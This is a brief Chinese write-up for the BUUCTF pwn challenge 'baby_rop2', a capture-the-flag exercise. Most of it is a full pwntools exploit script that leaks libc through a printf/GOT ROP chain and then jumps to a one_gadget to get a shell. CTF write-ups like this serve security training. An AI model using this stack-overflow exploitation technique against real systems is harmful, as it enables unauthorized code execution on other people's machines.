【BUUCTF - PWN】baby_rop2

checksec一下，栈溢出

IDA打开看看，明显的栈溢出漏洞

题目给了libc文件，使用printf把read的got地址打印出来即可泄露libc地址，然后one_gadget拿shell

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

rl=lambda :io.recvline()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)

elf=ELF('./babyrop2')
libc=ELF('./libc.so.6')

main=0x400636
pop_rdi=0x400733
one_gadget=0x45216

payload=p64(0)*5+p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['printf'])+p64(main)
sla('? ',payload)
rl()
libc_base=u64(rn(6).ljust(8,p8(0)))-libc.sym['read']
payload=p64(0)*5+p64(libc_base+one_gadget)
sla('? ',payload)

io.interactive()

附件：baby_rop2 、libc